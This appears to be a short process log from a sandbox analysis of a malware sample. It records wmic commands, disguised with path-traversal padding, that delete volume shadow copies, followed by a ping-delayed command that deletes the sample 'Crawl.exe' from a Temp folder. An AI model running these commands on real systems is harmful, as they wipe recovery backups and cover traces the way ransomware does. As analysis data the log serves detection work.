wmic.exe c:\WluFed\WluF\..\..\Windows\WluF\WluF\..\..\system32\WluF\WluF\..\..\wbem\WluF\WluFe\..\..\wmic.exe shadowcopy delete
2476wmic.exe c:\iGqzlL\iGqz\..\..\Windows\iGqz\iGqz\..\..\system32\iGqz\iGqz\..\..\wbem\iGqz\iGqzl\..\..\wmic.exe shadowcopy delete
1664cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\test22\AppData\Local\Temp\Crawl.exe"
2556PING.EXE ping 1.1.1.1 -n 1 -w 3000
3068